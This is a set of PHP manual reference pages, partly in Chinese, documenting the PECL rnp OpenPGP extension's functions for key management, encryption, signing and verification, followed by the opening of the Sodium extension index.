  • rnp_ffi_destroy — Destroy the top-level object used for interacting with the library
  • rnp_ffi_set_pass_provider — Set password provider callback function
  • rnp_import_keys — Import keys from PHP string to the keyring and receive JSON describing new/updated keys
  • rnp_import_signatures — Import standalone signatures to the keyring and receive JSON describing updated keys
  • rnp_key_export_autocrypt — Export minimal key for autocrypt feature (just 5 packets: key, uid, signature, encryption subkey, signature)
  • rnp_key_export_revocation — Generate and export primary key revocation signature
  • rnp_key_export — Export a key
  • rnp_key_get_info — Get information about the key
  • rnp_key_remove — Remove a key from keyring(s)
  • rnp_key_revoke — Revoke a key or subkey by generating and adding revocation signature
  • rnp_list_keys — Enumerate all keys present in a keyring by specified identifer type
  • rnp_load_keys_from_path — Load keys from specified path
  • rnp_load_keys — Load keys from PHP string
  • rnp_locate_key — Search for the key
  • rnp_op_encrypt — Encrypt message
  • rnp_op_generate_key — Generate key
  • rnp_op_sign_cleartext — Perform signing operation on a textual data, return cleartext signed message
  • rnp_op_sign_detached — Perform signing operation, return detached signature(s)
  • rnp_op_sign — Perform signing operation on a binary data, return embedded signature(s)
  • rnp_op_verify_detached — Verify detached signatures
  • rnp_op_verify — Verify embedded or cleartext signatures
  • rnp_save_keys_to_path — Save keys to specified path
  • rnp_save_keys — Save keys to PHP string
  • rnp_supported_features — Get supported features in JSON format
  • rnp_version_string_full — Full version string of RNP library
  • rnp_version_string — RNP library version

User Contributed Notes

There are no user contributed notes for this page.


Return cryptographic backend library name

  • ? Rnp 函数
  • rnp_backend_version ?
  • PHP Manual
  • Rnp 函数
  • Return cryptographic backend library name

rnp_backend_string

(PECL rnp >= 0.1.1)

rnp_backend_string — Return cryptographic backend library name

说明

rnp_backend_string(): string

参数

此函数没有参数。

返回值

Backend name string. Currently supported backends are "Botan" and "OpenSSL".

User Contributed Notes

There are no user contributed notes for this page.


Return cryptographic backend library version

  • ? rnp_backend_string
  • rnp_decrypt ?
  • PHP Manual
  • Rnp 函数
  • Return cryptographic backend library version

rnp_backend_version

(PECL rnp >= 0.1.1)

rnp_backend_version — Return cryptographic backend library version

说明

rnp_backend_version(): string

参数

此函数没有参数。

返回值

Version string.

User Contributed Notes

There are no user contributed notes for this page.


Decrypt PGP message

  • ? rnp_backend_version
  • rnp_dump_packets_to_json ?
  • PHP Manual
  • Rnp 函数
  • Decrypt PGP message

rnp_decrypt

(PECL rnp >= 0.1.1)

rnp_decrypt — Decrypt PGP message

说明

rnp_decrypt(RnpFFI $ffi, string $input): string|false

Private keys used for decryption should be loaded into the FFI object before calling this function. If password encryption was used, then password provider should be set by calling rnp_ffi_set_pass_provider().

参数

ffi

The FFI object returned by rnp_ffi_create.

input

Encrypted message.

返回值

Decrypted message on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Dump OpenPGP packets stream information to the JSON string

  • ? rnp_decrypt
  • rnp_dump_packets ?
  • PHP Manual
  • Rnp 函数
  • Dump OpenPGP packets stream information to the JSON string

rnp_dump_packets_to_json

(PECL rnp >= 0.1.1)

rnp_dump_packets_to_json — Dump OpenPGP packets stream information to the JSON string

说明

rnp_dump_packets_to_json(string $input, int $flags): string|false

参数

input

Input string containing OpenPGP data, either in binary or ASCII-armored format.

flags

See RNP_JSON_DUMP_* predefined constants.

返回值

JSON string with dump 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Dump OpenPGP packets stream information in humand-readable format

  • ? rnp_dump_packets_to_json
  • rnp_ffi_create ?
  • PHP Manual
  • Rnp 函数
  • Dump OpenPGP packets stream information in humand-readable format

rnp_dump_packets

(PECL rnp >= 0.1.1)

rnp_dump_packets — Dump OpenPGP packets stream information in humand-readable format

说明

rnp_dump_packets(string $input, int $flags): string|false

参数

input

Input string containing OpenPGP data, either in binary or ASCII-armored format.

flags

See RNP_DUMP_* predefined constants.

返回值

Text describing packet sequence 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Create the top-level object used for interacting with the library

  • ? rnp_dump_packets
  • rnp_ffi_destroy ?
  • PHP Manual
  • Rnp 函数
  • Create the top-level object used for interacting with the library

rnp_ffi_create

(PECL rnp >= 0.1.1)

rnp_ffi_create — Create the top-level object used for interacting with the library

说明

rnp_ffi_create(string $pub_format, string $sec_format): RnpFFI|false

参数

pub_format

the format of the public keyring, RNP_KEYSTORE_GPG or other RNP_KEYSTORE_* constant.

sec_format

the format of the secret keyring, RNP_KEYSTORE_GPG or other RNP_KEYSTORE_* constant

返回值

Returns RnpFFI object on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Destroy the top-level object used for interacting with the library

  • ? rnp_ffi_create
  • rnp_ffi_set_pass_provider ?
  • PHP Manual
  • Rnp 函数
  • Destroy the top-level object used for interacting with the library

rnp_ffi_destroy

(PECL rnp >= 0.1.1)

rnp_ffi_destroy — Destroy the top-level object used for interacting with the library

说明

rnp_ffi_destroy(RnpFFI $ffi): void

参数

ffi

The FFI object returned by rnp_ffi_create.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set password provider callback function

  • ? rnp_ffi_destroy
  • rnp_import_keys ?
  • PHP Manual
  • Rnp 函数
  • Set password provider callback function

rnp_ffi_set_pass_provider

(PECL rnp >= 0.1.1)

rnp_ffi_set_pass_provider — Set password provider callback function

说明

rnp_ffi_set_pass_provider(RnpFFI $ffi, callable $password_callback): bool

Sets password provider function. This function can ask for the password on a standard input (if PHP script is executed in a command line environment), display GUI dialog or provide password in any other possible ways. Requested passwords are used to encrypt or decrypt secret keys or perform symmetric encryption/decryption operations.

参数

ffi

The FFI object returned by rnp_ffi_create.

password_callback

The function that is to be called for every password request. It has the following signature:

password_callback(string $key_fp, string $pgp_context, string &$password): bool
  • $key_fp - The key fingerprint, if any. Can be empty.
  • $pgp_context - String describing why the key is being requested.
  • $password - Password string reference where provided password should be stored to.
Callback function should return true if password was successfully set 或者在失败时返回 false.

返回值

Returns true on success 或者在失败时返回 false.

示例

Example #1 simple callback function example

<?php
function password_callback(string $key_fp, string $pgp_context, string &$password)
{
$password = "password";

return true;
}

$ffi = rnp_ffi_create('GPG', 'GPG');

rnp_ffi_set_pass_provider($ffi, 'password_callback');

User Contributed Notes

There are no user contributed notes for this page.


Import keys from PHP string to the keyring and receive JSON describing new/updated keys

  • ? rnp_ffi_set_pass_provider
  • rnp_import_signatures ?
  • PHP Manual
  • Rnp 函数
  • Import keys from PHP string to the keyring and receive JSON describing new/updated keys

rnp_import_keys

(PECL rnp >= 0.1.1)

rnp_import_keys — Import keys from PHP string to the keyring and receive JSON describing new/updated keys

说明

rnp_import_keys(RnpFFI $ffi, string $input, int $flags): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

input

OpenPGP packets containing key(s) to be loaded. Can be either binary or ASCII armored.

flags

See RNP_LOAD_SAVE_* predefined constants.

返回值

JSON string with information about new and updated keys on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Import standalone signatures to the keyring and receive JSON describing updated keys

  • ? rnp_import_keys
  • rnp_key_export_autocrypt ?
  • PHP Manual
  • Rnp 函数
  • Import standalone signatures to the keyring and receive JSON describing updated keys

rnp_import_signatures

(PECL rnp >= 0.1.1)

rnp_import_signatures — Import standalone signatures to the keyring and receive JSON describing updated keys

说明

rnp_import_signatures(RnpFFI $ffi, string $input, int $flags): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

input

OpenPGP packets containing signatures to be imported. Can be either binary or ASCII armored.

flags

Currently must be 0.

返回值

JSON string with information about updated keys on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Export minimal key for autocrypt feature (just 5 packets: key, uid, signature, encryption subkey, signature)

  • ? rnp_import_signatures
  • rnp_key_export_revocation ?
  • PHP Manual
  • Rnp 函数
  • Export minimal key for autocrypt feature (just 5 packets: key, uid, signature, encryption subkey, signature)

rnp_key_export_autocrypt

(PECL rnp >= 0.1.1)

rnp_key_export_autocrypt — Export minimal key for autocrypt feature (just 5 packets: key, uid, signature, encryption subkey, signature)

说明

rnp_key_export_autocrypt(
RnpFFI $ffi,
string $key_fp,
string $subkey_fp,
string $uid,
int $flags
): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

key_fp

Primary key fingerprint.

subkey_fp

Subkey to export. Can be an empty string to pick the first suitable subkey.

uid

User ID to export. Can be an empty string if exported key has only one uid.

flags

Only RNP_KEY_EXPORT_BASE64 is currently supported. Enabling it would export base64-encoded key data instead of binary.

返回值

OpenPGP packets of exported key on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Generate and export primary key revocation signature

  • ? rnp_key_export_autocrypt
  • rnp_key_export ?
  • PHP Manual
  • Rnp 函数
  • Generate and export primary key revocation signature

rnp_key_export_revocation

(PECL rnp >= 0.1.1)

rnp_key_export_revocation — Generate and export primary key revocation signature

说明

rnp_key_export_revocation(
RnpFFI $ffi,
string $key_fp,
int $flags,
array $options = ?
): string|false

Note: to revoke a key you'll need to import this signature into the keystore or use rnp_key_revoke() function.

参数

ffi

The FFI object returned by rnp_ffi_create.

key_fp

Key fingerprint of the primary key to be revoked.

flags

RNP_KEY_EXPORT_ARMORED or 0.

options

An associative array with options.

Key | Data type | 说明
"hash" | string | Set hash algorithm used during signature calculation.
"code" | string | Code reason for revocation code. Possible values: 'no', 'superseded', 'compromised', 'retired'. If not defined, then value 'no' will be used by default.
"reason" | string | Textual representation of the reason for revocation.

返回值

Exported revocation signature on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Export a key

  • ? rnp_key_export_revocation
  • rnp_key_get_info ?
  • PHP Manual
  • Rnp 函数
  • Export a key

rnp_key_export

(PECL rnp >= 0.1.1)

rnp_key_export — Export a key

说明

rnp_key_export(RnpFFI $ffi, string $key_fp, int $flags): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

key_fp

Key fingerprint.

flags

See RNP_KEY_EXPORT_* predefined constants (except RNP_KEY_EXPORT_BASE64).

返回值

OpenPGP packets of exported key (binary or ASCII-armored) on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get information about the key

  • ? rnp_key_export
  • rnp_key_remove ?
  • PHP Manual
  • Rnp 函数
  • Get information about the key

rnp_key_get_info

(PECL rnp >= 0.1.1)

rnp_key_get_info — Get information about the key

说明

rnp_key_get_info(RnpFFI $ffi, string $key_fp): array|false

参数

ffi

The FFI object returned by rnp_ffi_create.

key_fp

Key fingerprint.

返回值

An associative array with information about the key 或者在失败时返回 false.

Key | Data type | 说明
"is_primary" | boolean | true if this key is the primary key.
"is_sub" | boolean | true if this key is a subkey.
"is_valid" | boolean | true if public key is valid. This includes checks of the self-signatures, expiration times, revocations and so on.
"is_revoked" | boolean | true if this key is revoked.
"is_superseded" | boolean | true if this key is superseded. Present only if the key is revoked.
"is_compromised" | boolean | true if this key is compromised. Present only if the key is revoked.
"is_retired" | boolean | true if this key is retired. Present only if the key is revoked.
"is_expired" | boolean | true if this key is expired.
"have_secret" | boolean | true if this key has secret part.
"is_locked" | boolean | true if this key is currently locked. Only present for secret keys.
"is_protected" | boolean | true if this key is protected. Only present for secret keys. A protected key is one that is encrypted and can be safely held in memory and locked/unlocked as needed.
"have_public" | boolean | true if this key has public part. Generally all keys would have public part.
"valid_till" | integer | The timestamp till which key can be considered as valid. Note: this will take into account not only key's expiration, but revocations as well. For the subkey primary key's validity time will be also checked.
"bits" | integer | Number of bits in the key. For EC-based keys it will contain size of the curve.
"alg" | string | Key algorithm name.
"subkeys" | array | An indexed array containing fingerprint strings of subkeys. Only present for primary keys. Could be empty if primary key has no subkeys.
"uids" | array | An indexed array containing user ID strings. Only present for primary keys. Could be empty if primary key has no user ID-s.

User Contributed Notes

There are no user contributed notes for this page.


Remove a key from keyring(s)

  • ? rnp_key_get_info
  • rnp_key_revoke ?
  • PHP Manual
  • Rnp 函数
  • Remove a key from keyring(s)

rnp_key_remove

(PECL rnp >= 0.1.1)

rnp_key_remove — Remove a key from keyring(s)

说明

rnp_key_remove(RnpFFI $ffi, string $key_fp, int $flags): bool

Note: you need to call rnp_save_keys() to write updated keyring(s) out.

参数

ffi

The FFI object returned by rnp_ffi_create.

key_fp

Key fingerprint.

flags

See RNP_KEY_REMOVE_* constants. Flag RNP_KEY_REMOVE_SUBKEYS will work only for the primary key and will remove all of its subkeys as well.

返回值

Returns true on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Revoke a key or subkey by generating and adding revocation signature

  • ? rnp_key_remove
  • rnp_list_keys ?
  • PHP Manual
  • Rnp 函数
  • Revoke a key or subkey by generating and adding revocation signature

rnp_key_revoke

(PECL rnp >= 0.1.1)

rnp_key_revoke — Revoke a key or subkey by generating and adding revocation signature

说明

rnp_key_revoke(
RnpFFI $ffi,
string $key_fp,
int $flags,
array $options = ?
): bool

Note: you need to call rnp_save_keys() to write updated keyring(s) out.

参数

ffi

The FFI object returned by rnp_ffi_create.

key_fp

Key fingerprint.

flags

Currently must be 0.

options

An associative array with options.

Key | Data type | 说明
"hash" | string | Set hash algorithm used during signature calculation.
"code" | string | Code reason for revocation code. Possible values: 'no', 'superseded', 'compromised', 'retired'. If not defined, then value 'no' will be used by default.
"reason" | string | Textual representation of the reason for revocation.

返回值

Returns true on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Enumerate all keys present in a keyring by specified identifer type

  • ? rnp_key_revoke
  • rnp_load_keys_from_path ?
  • PHP Manual
  • Rnp 函数
  • Enumerate all keys present in a keyring by specified identifer type

rnp_list_keys

(PECL rnp >= 0.1.1)

rnp_list_keys — Enumerate all keys present in a keyring by specified identifer type

说明

rnp_list_keys(RnpFFI $ffi, string $identifier_type): array|false

参数

ffi

The FFI object returned by rnp_ffi_create.

identifier_type

Key identifier type ("userid", "keyid", "grip", "fingerprint").

返回值

An associative array where key is an identifier string and value is a PGP key fingerprint 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Load keys from specified path

  • ? rnp_list_keys
  • rnp_load_keys ?
  • PHP Manual
  • Rnp 函数
  • Load keys from specified path

rnp_load_keys_from_path

(PECL rnp >= 0.1.1)

rnp_load_keys_from_path — Load keys from specified path

说明

rnp_load_keys_from_path(
RnpFFI $ffi,
string $format,
string $input_path,
int $flags
): bool

Note that for G10, the input must be a directory (which must already exist).

参数

ffi

The FFI object returned by rnp_ffi_create.

format

The key format of the data (GPG, KBX, G10).

input_path

file or directory containing the keys.

flags

See RNP_LOAD_SAVE_* flags description.

返回值

Returns true on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Load keys from PHP string

  • ? rnp_load_keys_from_path
  • rnp_locate_key ?
  • PHP Manual
  • Rnp 函数
  • Load keys from PHP string

rnp_load_keys

(PECL rnp >= 0.1.1)

rnp_load_keys — Load keys from PHP string

说明

rnp_load_keys(
RnpFFI $ffi,
string $format,
string $input,
int $flags
): bool

Note that for G10, the input must be a directory (which must already exist).

参数

ffi

The FFI object returned by rnp_ffi_create.

format

The key format of the data (GPG, KBX, G10).

input

OpenPGP packets containing key(s) to be loaded. Can be either binary or ASCII armored.

flags

See RNP_LOAD_SAVE_* flags description.

返回值

Returns true on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Search for the key

  • ? rnp_load_keys
  • rnp_op_encrypt ?
  • PHP Manual
  • Rnp 函数
  • Search for the key

rnp_locate_key

(PECL rnp >= 0.1.1)

rnp_locate_key — Search for the key

说明

rnp_locate_key(RnpFFI $ffi, string $identifier_type, string $identifier): string|false

Note: only valid userids are checked while searching by userid.

参数

ffi

The FFI object returned by rnp_ffi_create.

identifier_type

Identifier type string: "userid", "keyid", "fingerprint", "grip".

identifier

PGP User ID (name and email) for "userid" type, hexadecimal string that represents key id, fingerprint or key grip correspondingly.

返回值

Returns hexadecimal fingerprint of the key found on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Encrypt message

  • ? rnp_locate_key
  • rnp_op_generate_key ?
  • PHP Manual
  • Rnp 函数
  • Encrypt message

rnp_op_encrypt

(PECL rnp >= 0.1.1)

rnp_op_encrypt — Encrypt message

说明

rnp_op_encrypt(
RnpFFI $ffi,
string $message,
array $recipient_keys_fp,
array $options = ?
): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

message

Message to be encrypted.

recipient_keys_fp

Array with fingerprints of recipient's keys. At least one key must be present.

options

An associative array with options.

Key | Data type | 说明
"compression_alg" | string | Compression algorithm. Both "compression_alg" and "compression_level" must be set in order to enable data compression.
"compression_level" | integer | Compression level, 0-9. 0 disables compression.
"armor" | boolean | Enable ASCII-armored output. Disabled by default.
"add_signature" | boolean | Encrypted message will be also signed.
"hash" | string | Set hash algorithm used during signature calculation. "add_signature" option should be set to true
"creation_time" | integer | Set signature creation time in seconds since Jan, 1 1970 UTC. By default current time is used.
"expiration_time" | integer | Set signature expiration time in seconds since the creation time. 0 value is used to mark signature as non-expiring (default value).
"password" | string | Add password which is used to encrypt data.
"cipher" | string | Set symmetric encryption algorithm. Possible values are "IDEA", "TRIPLEDES", "CAST5", "BLOWFISH", "AES128", "AES192", "AES256", "TWOFISH", "CAMELLIA128", "CAMELLIA192", "CAMELLIA256", "SM4".
"aead" | string | Set AEAD mode algorithm. Possible values are "None" to disable AEAD, "EAX", "OCB".
"aead_bits" | integer | Set chunk length for AEAD mode via number of chunk size bits. Must be between 0 to 56.
"flags" | integer | Set additional encryption flags. Supported flags: RNP_ENCRYPT_NOWRAP - do not wrap the data in a literal data packet. This would allow to encrypt already signed data.
"file_name" | string | Set the internally stored file name for the data being encrypted. Special value _CONSOLE may be used to mark message as 'for your eyes only', i.e. it should not be stored anywhere but only displayed to the receiver. Default is the empty string.
"file_mtime" | integer | Set input file modification date in seconds since Jan, 1 1970 UTC.

返回值

Encrypted data on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Generate key

  • ? rnp_op_encrypt
  • rnp_op_sign_cleartext ?
  • PHP Manual
  • Rnp 函数
  • Generate key

rnp_op_generate_key

(PECL rnp >= 0.1.1)

rnp_op_generate_key — Generate key

说明

rnp_op_generate_key(
RnpFFI $ffi,
string $userid,
string $key_alg,
string $sub_alg = ?,
array $options = ?
): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

userid

PGP User ID - text that is intended to represent the name and email address of the key holder.

key_alg

Primary key algorithm (i.e. 'RSA', 'DSA', etc).

sub_alg

Subkey algorithm. If not set, subkey will not be generated.

options

An associative array with options.

Key | Data type | 说明
"bits" | integer | Primary key size in bits. Applicable only to RSA, DSA and El-Gamal keys.
"hash" | string | Hash algorithm used in self signature or subkey binding signature.
"dsa_qbits" | integer | Set size of a q parameter for DSA key. Note: appropriate default value will be set, depending on key bits. However you may override it if needed.
"curve" | string | Set the curve used for ECC key. Note: this is only applicable for ECDSA, ECDH and SM2 keys.
"request_password" | boolean | Enable requesting password via password provider. This password will be used for key encryption. Password provider callback function should be set in advance by calling rnp_ffi_set_pass_provider(). Note: this setting will be ignored if password was set via"password"
"password" | string | Set the password used to encrypt the secret key data.
"expiration" | integer | Set the key and subkey expiration time in seconds.
"sub_bits" | integer | Subkey size in bits. Applicable only to RSA, DSA and El-Gamal keys.
"sub_hash" | string | Hash algorithm used in subkey self signature or subkey binding signature.
"sub_curve" | string | Set the curve used for ECC subkey. Note: this is only applicable for ECDSA, ECDH and SM2 keys.

返回值

Fingerprint of the generated primary key 或者在失败时返回 false. This fingerprint can be used later to reference the key in sign and encrypt operations. The key data is stored in FFI memory context and can be saved using rnp_save_keys() or rnp_save_keys_to_path().

User Contributed Notes

There are no user contributed notes for this page.


Perform signing operation on a textual data, return cleartext signed message

  • ? rnp_op_generate_key
  • rnp_op_sign_detached ?
  • PHP Manual
  • Rnp 函数
  • Perform signing operation on a textual data, return cleartext signed message

rnp_op_sign_cleartext

(PECL rnp >= 0.1.1)

rnp_op_sign_cleartext — Perform signing operation on a textual data, return cleartext signed message

说明

rnp_op_sign_cleartext(
RnpFFI $ffi,
string $data,
array $keys_fp,
array $options = ?
): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

data

Data to be signed.

keys_fp

Array with key fingerprints. At least one key must be provided. Keys should be present in ffi.

options

An associative array with options.

Key | Data type | 说明
"armor" | boolean | Enable ASCII-armored output. Disabled by default.
"hash" | string | Set hash algorithm used during signature calculation.
"creation_time" | integer | Set signature creation time in seconds since Jan, 1 1970 UTC. By default current time is used.
"expiration_time" | integer | Set signature expiration time in seconds since the creation time. 0 value is used to mark signature as non-expiring (default value).

返回值

Cleartext signed message containing source data with additional headers and ASCII-armored signature on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Perform signing operation, return detached signature(s)

  • ? rnp_op_sign_cleartext
  • rnp_op_sign ?
  • PHP Manual
  • Rnp 函数
  • Perform signing operation, return detached signature(s)

rnp_op_sign_detached

(PECL rnp >= 0.1.1)

rnp_op_sign_detached — Perform signing operation, return detached signature(s)

说明

rnp_op_sign_detached(
RnpFFI $ffi,
string $data,
array $keys_fp,
array $options = ?
): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

data

Data to be signed.

keys_fp

Array with key fingerprints. At least one key must be provided. Keys should be present in ffi.

options

An associative array with options.

Key | Data type | 说明
"armor" | boolean | Enable ASCII-armored output. Disabled by default.
"hash" | string | Set hash algorithm used during signature calculation.
"creation_time" | integer | Set signature creation time in seconds since Jan, 1 1970 UTC. By default current time is used.
"expiration_time" | integer | Set signature expiration time in seconds since the creation time. 0 value is used to mark signature as non-expiring (default value).

返回值

Detached signature(s) data on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Perform signing operation on a binary data, return embedded signature(s)

  • ? rnp_op_sign_detached
  • rnp_op_verify_detached ?
  • PHP Manual
  • Rnp 函数
  • Perform signing operation on a binary data, return embedded signature(s)

rnp_op_sign

(PECL rnp >= 0.1.1)

rnp_op_sign — Perform signing operation on a binary data, return embedded signature(s)

说明

rnp_op_sign(
RnpFFI $ffi,
string $data,
array $keys_fp,
array $options = ?
): string|false

参数

ffi

The FFI object returned by rnp_ffi_create.

data

Data to be signed.

keys_fp

Array with key fingerprints. At least one key must be provided. Keys should be present in ffi.

options

An associative array with options.

Key | Data type | 说明
"compression_alg" | string | Compression algorithm. Both "compression_alg" and "compression_level" must be set in order to enable data compression.
"compression_level" | integer | Compression level, 0-9. 0 disables compression.
"armor" | boolean | Enable ASCII-armored output. Disabled by default.
"hash" | string | Set hash algorithm used during signature calculation.
"creation_time" | integer | Set signature creation time in seconds since Jan, 1 1970 UTC. By default current time is used.
"expiration_time" | integer | Set signature expiration time in seconds since the creation time. 0 value is used to mark signature as non-expiring (default value).
"file_name" | string | Set input file name.Special value _CONSOLE may be used to mark message as 'for your eyes only', i.e. it should not be stored anywhere but only displayed to the receiver. Default is the empty string.
"file_mtime" | integer | Set input file modification date in seconds since Jan, 1 1970 UTC.

返回值

Data with embedded signature(s) on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Verify detached signatures

  • ? rnp_op_sign
  • rnp_op_verify ?
  • PHP Manual
  • Rnp 函数
  • Verify detached signatures

rnp_op_verify_detached

(PECL rnp >= 0.1.1)

rnp_op_verify_detached — Verify detached signatures

说明

rnp_op_verify_detached(RnpFFI $ffi, string $data, string $signature): array|false

参数

ffi

The FFI object returned by rnp_ffi_create.

data

Source data.

signature

Detached signature data.

返回值

An associative array with information about verification results 或者在失败时返回 false.

Key | Data type | 说明
"verification_status" | string | Overall verification result, either "Success" string or appropriate error message. "Success" result is set when at least one signature is valid and successfully verified. Individual verification results for each signature can be checked in the "signatures" array.
"file_name" | string | File name.
"file_mtime" | integer | File modification time.
"mode" | string | Data protection (encryption) mode used in processed message. Currently defined values are "none", "cfb", "cfb-mdc", "aead-ocb", "aead-eax".
"cipher" | string | Symmetric cipher used for data encryption.
"valid_integrity" | boolean | true if message integrity protection was used (i.e. MDC or AEAD) and it was validated successfully.
"signatures" | array | An associative array describing each signature found. See description below.

"signatures" sub-array.

Key | Data type | 说明
"verification_status" | string | Signature verification status, either "Success" string or appropriate error message.
"creation_time" | integer | Signature creation time in seconds since Jan, 1 1970 UTC.
"expiration_time" | integer | Signature expiration time in seconds since the creation time or 0 if signature never expires.
"hash" | string | Hash function algorithm used to calculate the signature.
"signing_key" | string | Fingerprint of the key used for signing. Could be "Not found" if corresponding public key is not loaded to the FFI object.
"signature_type" | string | Signature type. Currently defined values are: 'binary', 'text', 'standalone', 'certification (generic)', 'certification (persona)', 'certification (casual)', 'certification (positive)', 'subkey binding', 'primary key binding', 'direct', 'key revocation', 'subkey revocation', 'certification revocation', 'timestamp', 'uknown: 0..255'.

User Contributed Notes

There are no user contributed notes for this page.


Verify embedded or cleartext signatures

  • ? rnp_op_verify_detached
  • rnp_save_keys_to_path ?
  • PHP Manual
  • Rnp 函数
  • Verify embedded or cleartext signatures

rnp_op_verify

(PECL rnp >= 0.1.1)

rnp_op_verify — Verify embedded or cleartext signatures

说明

rnp_op_verify(RnpFFI $ffi, string $data): array|false

参数

ffi

The FFI object returned by rnp_ffi_create.

data

Signed data.

返回值

An associative array with information about verification results 或者在失败时返回 false.

Key | Data type | 说明
"verification_status" | string | Overall verification result, either "Success" string or appropriate error message. "Success" result is set when at least one signature is valid and successfully verified. Individual verification results for each signature can be checked in the "signatures" array.
"file_name" | string | File name.
"file_mtime" | integer | File modification time.
"mode" | string | Data protection (encryption) mode used in processed message. Currently defined values are "none", "cfb", "cfb-mdc", "aead-ocb", "aead-eax".
"cipher" | string | Symmetric cipher used for data encryption.
"valid_integrity" | boolean | true if message integrity protection was used (i.e. MDC or AEAD) and it was validated successfully.
"signatures" | array | An associative array describing each signature found. See description below.

"signatures" sub-array.

Key | Data type | 说明
"verification_status" | string | Signature verification status, either "Success" string or appropriate error message.
"creation_time" | integer | Signature creation time in seconds since Jan, 1 1970 UTC.
"expiration_time" | integer | Signature expiration time in seconds since the creation time or 0 if signature never expires.
"hash" | string | Hash function algorithm used to calculate the signature.
"signing_key" | string | Fingerprint of the key used for signing. Could be "Not found" if corresponding public key is not loaded to the FFI object.
"signature_type" | string | Signature type. Currently defined values are: 'binary', 'text', 'standalone', 'certification (generic)', 'certification (persona)', 'certification (casual)', 'certification (positive)', 'subkey binding', 'primary key binding', 'direct', 'key revocation', 'subkey revocation', 'certification revocation', 'timestamp', 'uknown: 0..255'.

User Contributed Notes

There are no user contributed notes for this page.


Save keys to specified path

  • ? rnp_op_verify
  • rnp_save_keys ?
  • PHP Manual
  • Rnp 函数
  • Save keys to specified path

rnp_save_keys_to_path

(PECL rnp >= 0.1.1)

rnp_save_keys_to_path — Save keys to specified path

说明

rnp_save_keys_to_path(
RnpFFI $ffi,
string $format,
string $output_path,
int $flags
): bool

Saves keys present in the FFI object (loaded or generated) to the specified file or directory.

参数

ffi

The FFI object returned by rnp_ffi_create.

format

The key format of the data (GPG, KBX, G10).

output_path

File or directory path where keys should be saved to.

flags

See RNP_LOAD_SAVE_* flags description.

返回值

Returns true on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Save keys to PHP string

  • ? rnp_save_keys_to_path
  • rnp_supported_features ?
  • PHP Manual
  • Rnp 函数
  • Save keys to PHP string

rnp_save_keys

(PECL rnp >= 0.1.1)

rnp_save_keys — Save keys to PHP string

说明

rnp_save_keys(
RnpFFI $ffi,
string $format,
string &$output,
int $flags
): bool

Note that for G10, the output must be a directory (which must already exist).

参数

ffi

The FFI object returned by rnp_ffi_create.

format

The key format of the data (GPG, KBX, G10).

output

key packets will be saved to the string referenced by output.

flags

See RNP_LOAD_SAVE_* flags description.

返回值

Returns true on success 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get supported features in JSON format

  • ? rnp_save_keys
  • rnp_version_string_full ?
  • PHP Manual
  • Rnp 函数
  • Get supported features in JSON format

rnp_supported_features

(PECL rnp >= 0.1.1)

rnp_supported_features — Get supported features in JSON format

说明

rnp_supported_features(string $type): string|false

Get the JSON formatted string containing array of supported rnp feature values (algorithms, curves, etc) by type.

参数

type

See RNP_FEATURE_* constants for supported values.

返回值

String containing JSON formatted array of supported algorithms, curves, etc 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Full version string of RNP library

  • ? rnp_supported_features
  • rnp_version_string ?
  • PHP Manual
  • Rnp 函数
  • Full version string of RNP library

rnp_version_string_full

(PECL rnp >= 0.1.1)

rnp_version_string_full — Full version string of RNP library

说明

rnp_version_string_full(): string

参数

此函数没有参数。

返回值

Returns full version string of RNP library.

User Contributed Notes

There are no user contributed notes for this page.


RNP library version

  • ? rnp_version_string_full
  • RnpFFI ?
  • PHP Manual
  • Rnp 函数
  • RNP library version

rnp_version_string

(PECL rnp >= 0.1.1)

rnp_version_string — RNP library version

说明

rnp_version_string(): string

参数

此函数没有参数。

返回值

Returns RNP library version string.

User Contributed Notes

There are no user contributed notes for this page.


The RnpFFI class

(PECL rnp >= 0.1.1)

简介

类摘要

class RnpFFI {
}

User Contributed Notes

There are no user contributed notes for this page.


Sodium

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Sodium 函数
    • sodium_add — Add large numbers
    • sodium_base642bin — Decodes a base64-encoded string into raw binary.
    • sodium_bin2base64 — Encodes a raw binary string with base64.
    • sodium_bin2hex — Encode to hexadecimal
    • sodium_compare — Compare large numbers
    • sodium_crypto_aead_aes256gcm_decrypt — Verify then decrypt a message with AES-256-GCM
    • sodium_crypto_aead_aes256gcm_encrypt — Encrypt then authenticate with AES-256-GCM
    • sodium_crypto_aead_aes256gcm_is_available — Check if hardware supports AES256-GCM
